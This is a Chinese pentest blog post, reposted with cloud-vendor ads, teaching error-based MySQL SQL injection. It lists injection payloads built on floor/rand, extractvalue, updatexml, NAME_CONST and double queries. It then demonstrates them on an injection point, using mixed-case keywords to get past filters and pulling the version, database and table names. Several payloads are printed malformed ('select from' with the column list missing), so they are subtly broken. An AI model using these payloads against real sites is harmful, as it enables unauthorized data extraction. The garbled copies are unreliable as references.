SQL注入之mysql显错注入

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
简介:

    在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。

wKioL1mrZdiAlu2WAAHAigyM4E8873.jpg-wh_50

图1 获取数据库失败

    此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

    通过floor报错:

1
and  select  from  ( select  count (*),concat(version(),floor(rand(0)*2))x  from  information_schema.tables  group  by  x)a)
1
and  ( select  count (*)  from  ( select  union  select  null  union  select   !1)x  group  by  concat(( select  version()),floor(rand(0)*2)))

    通过ExtractValue报错:

1
and  extractvalue(1, concat(0x7f, ( select  version()),0x7f))

    通过UpdateXml报错:

1
and  1=(updatexml(1,concat(0x7f,( select  version()),0x7f),1))

    通过NAME_CONST报错:

1
and  1=( select  from  ( select  NAME_CONST(version(),1),NAME_CONST(version(),1))  as  x)

    通过错误的双重查询:

1
or  group  by  concat_ws(0x7f,version(),floor(rand(0)*2))  having  min (0)  or  1

    在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

wKioL1mrbU-C0a8RAACQAXA8D38440.jpg-wh_50

图2 显错注入点

    此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

wKioL1mrbkbjMtwoAAC9-K9ywNk540.jpg-wh_50

图3 获取数据库版本信息

    获取数据库名,如图4所示。

wKiom1mrcKGjroMaAAC42nt38yI886.jpg-wh_50

图4 获取数据名

    获取表名,如图5所示。

wKiom1mrcVKToMzTAAEBa6GYeo8084.jpg-wh_50

图5 获取表名

    后续操作请参考文章《mysql手工注入》,这里不再进行累赘!



本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1962253

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
3月前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS费用价格:MySQL、SQL Server、PostgreSQL和MariaDB引擎收费标准
阿里云RDS数据库支持MySQL、SQL Server、PostgreSQL、MariaDB,多种引擎优惠上线!MySQL倚天版88元/年,SQL Server 2核4G仅299元/年,PostgreSQL 227元/年起。高可用、可弹性伸缩,安全稳定。详情见官网活动页。
840 152
|
3月前
|
关系型数据库 分布式数据库 数据库
阿里云数据库收费价格:MySQL、PostgreSQL、SQL Server和MariaDB引擎费用整理
阿里云数据库提供多种类型,包括关系型与NoSQL,主流如PolarDB、RDS MySQL/PostgreSQL、Redis等。价格低至21元/月起,支持按需付费与优惠套餐,适用于各类应用场景。
|
3月前
|
SQL 监控 关系型数据库
查寻MySQL或SQL Server的连接数,并配置超时时间和最大连接量
以上步骤提供了直观、实用且易于理解且执行的指导方针来监管和优化数据库服务器配置。务必记得,在做任何重要变更前备份相关配置文件,并确保理解每个参数对系统性能可能产生影响后再做出调节。
438 11
|
3月前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS支持MySQL、SQL Server、PostgreSQL和MariaDB引擎
阿里云数据库RDS支持MySQL、SQL Server、PostgreSQL和MariaDB引擎,提供高性价比、稳定安全的云数据库服务,适用于多种行业与业务场景。
|
SQL 存储 关系型数据库
MySQL进阶突击系列(01)一条简单SQL搞懂MySQL架构原理 | 含实用命令参数集
本文从MySQL的架构原理出发,详细介绍其SQL查询的全过程,涵盖客户端发起SQL查询、服务端SQL接口、解析器、优化器、存储引擎及日志数据等内容。同时提供了MySQL常用的管理命令参数集,帮助读者深入了解MySQL的技术细节和优化方法。
|
SQL 存储 关系型数据库
MySQL下使用SQL命令进行表结构与数据复制实践
MySQL下使用SQL命令进行表结构与数据复制实践
278 0
|
SQL 关系型数据库 MySQL
MySQl数据库第八课-------SQL命令查询-------主要命脉2
MySQl数据库第八课-------SQL命令查询-------主要命脉
229 0
|
SQL 关系型数据库 MySQL
MySQl数据库第八课-------SQL命令查询-------主要命脉 1
MySQl数据库第八课-------SQL命令查询-------主要命脉
235 0
|
SQL 存储 开发框架
MySQl数据库第六课-------SQl命令的延续------快来看看
MySQl数据库第六课-------SQl命令的延续------快来看看
213 0
|
SQL 存储 NoSQL
MySQl数据库第五课 --------在SQl的简单命令--------学习学习
MySQl数据库第五课 --------在SQl的简单命令--------学习学习
150 0

推荐镜像

更多